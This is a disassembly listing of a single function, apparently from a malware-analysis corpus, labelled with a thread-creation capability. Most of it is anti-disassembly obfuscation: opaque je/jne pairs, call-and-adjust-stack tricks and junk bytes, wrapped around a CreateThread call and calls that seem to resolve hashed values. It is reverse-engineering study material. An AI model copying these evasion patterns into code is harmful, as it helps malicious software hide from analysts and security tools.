Function at 0x1001d0b0
Capabilities:
Create thread

Disassembly:
jae 0x1001d0ae
jmp 0x1001d0a9
call fcn.1001d0b0
jae 0x1001d0a9
add esp, 4
jmp 0x1001d0b5
dec dword [esp]
jno 0x1001d0ba
jns 0x1001d0a5
jp 0x1001d0be
add esp, 4
popf
jmp 0x1001d0c5
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001d0de
jne 0x1001d0de
call 0x1fc20432
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
push 0
push 0
push 0
push 0x1001e300
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
clc
jae 0x1001d109
test al, 0xe7
pushf
push 0xa
jae 0x1001d116
jmp 0x1001d111
call 0x1001d118
jae 0x1001d111
add esp, 4
jmp 0x1001d11d
dec dword [esp]
jno 0x1001d122
jns 0x1001d10d
jp 0x1001d126
add esp, 4
popf
jmp 0x1001d12d
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001d146
jne 0x1001d146
out 0x7c, eax
add ebp, ebx
add esp, edi
jl 0x1001d14b
jmp 0x1001d14d
je 0x1001d148
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x1001d167
jne 0x1001d166
call 0x9305c1ee
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x1001d175
jne 0x1001d175
call 0xd8a5740
invalid
mov dword [ebp - 0x278], 0
mov dword [ebp - 0x27c], 0
mov dword [ebp - 0x280], 0
clc
jae 0x1001d198
cdq
pushf
pushf
push 0xa
jae 0x1001d1a5
jmp 0x1001d1a0
call 0x1001d1a7
jae 0x1001d1a0
add esp, 4
jmp 0x1001d1ac
dec dword [esp]
jno 0x1001d1b1
jns 0x1001d19c
jp 0x1001d1b5
add esp, 4
popf
jmp 0x1001d1bc
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001d1d5
jne 0x1001d1d5
bnd jl 0x1001d1da
jl 0x1001d1da
jmp 0x1001d1dc
je 0x1001d1d7
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x1001d1f6
jne 0x1001d1f5
call 0x9305c27d
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x1001d204
jne 0x1001d204
call 0xcb657cf
invalid
mov dword [ebp - 0x34c], 0
mov dword [ebp - 0x288], 0
xor eax, eax
test eax, eax
je 0x1001d221
jne 0x1001d220
call 0x9305c2a8
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
and dword [ebx + edi*8 - 8], esi
xor eax, 3
add eax, 4
xor eax, 5
jl 0x1001d22f
jmp 0x1001d231
je 0x1001d22c
clc
jae 0x1001d236
sbb byte [ecx], ah
je 0x1001d23b
jne 0x1001d23b
and dword [esi - 0x64], esp
pushf
push 0xa
jae 0x1001d248
jmp 0x1001d243
call 0x1001d24a
jae 0x1001d243
add esp, 4
jmp 0x1001d24f
dec dword [esp]
jno 0x1001d254
jns 0x1001d23f
jp 0x1001d258
add esp, 4
popf
jmp 0x1001d25f
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001d278
jne 0x1001d278
call 0x1fc205cc
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
mov dword [ebp - 0x28c], 0
mov dword [ebp - 0x290], 0
clc
jae 0x1001d2a2
invalid
pushf
push 0xa
jae 0x1001d2af
jmp 0x1001d2aa
call 0x1001d2b1
jae 0x1001d2aa
add esp, 4
jmp 0x1001d2b6
dec dword [esp]
jno 0x1001d2bb
jns 0x1001d2a6
jp 0x1001d2bf
add esp, 4
popf
jmp 0x1001d2c6
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001d2df
jne 0x1001d2df
movsd dword es:[edi], dword [esi]
jl 0x1001d2e4
jmp 0x1001d2e6
je 0x1001d2e1
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x1001d300
jne 0x1001d2ff
call 0x9305c387
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x1001d30e
jne 0x1001d30e
call 0xd6e58d9
invalid
mov dword [ebp - 0x294], 0
mov dword [ebp - 0x2a4], 0
xor eax, eax
test eax, eax
je 0x1001d32b
jne 0x1001d32a
call 0x9305c3b2
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
sal dword [ebx + edi*8 - 8], 1
xor eax, 3
add eax, 4
xor eax, 5
jl 0x1001d339
jmp 0x1001d33b
je 0x1001d336
clc
jae 0x1001d340
push cs
sal dword [ebx + eax + 0x75], 1
add ecx, edx
je 0x1001d345
jne 0x1001d345
shl dword [esi - 0x64], 1
pushf
push 0xa
jae 0x1001d352
jmp 0x1001d34d
call 0x1001d354
jae 0x1001d34d
add esp, 4
jmp 0x1001d359
dec dword [esp]
jno 0x1001d35e
jns 0x1001d349
jp 0x1001d362
add esp, 4
popf
jmp 0x1001d369
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001d382
jne 0x1001d382
call 0x1fc206d6
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
mov dword [ebp - 0x298], 0
mov dword [ebp - 0x29c], 0
mov dword [ebp - 0x2a0], 0
clc
jae 0x1001d3b6
pop edi
arpl word [esi - 0x64], sp
pushf
push 0xa
jae 0x1001d3c3
jmp 0x1001d3be
call 0x1001d3c5
jae 0x1001d3be
add esp, 4
jmp 0x1001d3ca
dec dword [esp]
jno 0x1001d3cf
jns 0x1001d3ba
jp 0x1001d3d3
add esp, 4
popf
jmp 0x1001d3da
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001d3f3
jne 0x1001d3f3
arpl word [ebx + eax - 0x15], di
add esp, dword [ebx + 0x74]
sti
jl 0x1001d3f8
jmp 0x1001d3fa
je 0x1001d3f5
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x1001d414
jne 0x1001d413
call 0x9305c49b
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x1001d422
jne 0x1001d422
call 0xd7e59ed
invalid
mov dword [ebp - 0x284], 0
mov dword [ebp - 0x340], 0
mov dword [ebp - 0x344], 0
clc
jae 0x1001d445
rol dword [edx + 0x66], 1
pushfd
pushf
push 0xa
jae 0x1001d452
jmp 0x1001d44d
call 0x1001d454
jae 0x1001d44d
add esp, 4
jmp 0x1001d459
dec dword [esp]
jno 0x1001d45e
jns 0x1001d449
jp 0x1001d462
add esp, 4
popf
jmp 0x1001d469
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001d482
jne 0x1001d482
inc edx
jl 0x1001d487
jmp 0x1001d489
je 0x1001d484
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x1001d4a3
jne 0x1001d4a2
call 0x9305c52a
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x1001d4b1
jne 0x1001d4b1
call 0x16eda96d
mov ebp, 0xd88d8d50
invalid
mov eax, 0xbd06ebd4
push eax
lea ecx, [ebp - 0x128]
call 0x1001c870
mov dword [ebp - 0x2a8], eax
mov ecx, dword [ebp - 0x2a8]
mov dword [ebp - 0x2ac], ecx
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x2ac]
push edx
call fcn.1001e8f0
add esp, 4
mov dword [ebp - 0x2dc], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x128]
call fcn.1001cc80
xor eax, eax
test eax, eax
je 0x1001d50b
jne 0x1001d50a
call 0x9305c592
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
arpl word [ebx + edi*8 - 8], si
xor eax, 3
add eax, 4
xor eax, 5
jl 0x1001d519
jmp 0x1001d51b
je 0x1001d516
clc
jae 0x1001d520
jbe 0x1001d583
je 0x1001d525
jne 0x1001d525
arpl word [esi - 0x64], sp
pushf
push 0xa
jae 0x1001d532
jmp 0x1001d52d
call 0x1001d534
jae 0x1001d52d
add esp, 4
jmp 0x1001d539
dec dword [esp]
jno 0x1001d53e
jns 0x1001d529
jp 0x1001d542
add esp, 4
popf
jmp 0x1001d549
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001d562
jne 0x1001d562
call 0x1fc208b6
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
mov eax, 0x9d2af9fa
push eax
lea ecx, [ebp - 0x68]
call fcn.1001c670
mov dword [ebp - 0x2b0], eax
mov ecx, dword [ebp - 0x2b0]
mov dword [ebp - 0x2b4], ecx
mov dword [ebp - 4], 1
mov edx, dword [ebp - 0x2b4]
push edx
call fcn.1001e8f0
add esp, 4
mov dword [ebp - 0x2e0], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x68]
call fcn.1000dfd0
clc
jae 0x1001d5c3
push eax
std
invalid
and byte [esi], ch
pushfd
pushf
push 0xa
jae 0x1001d5d0
jmp 0x1001d5cb
jae 0x1001d5cb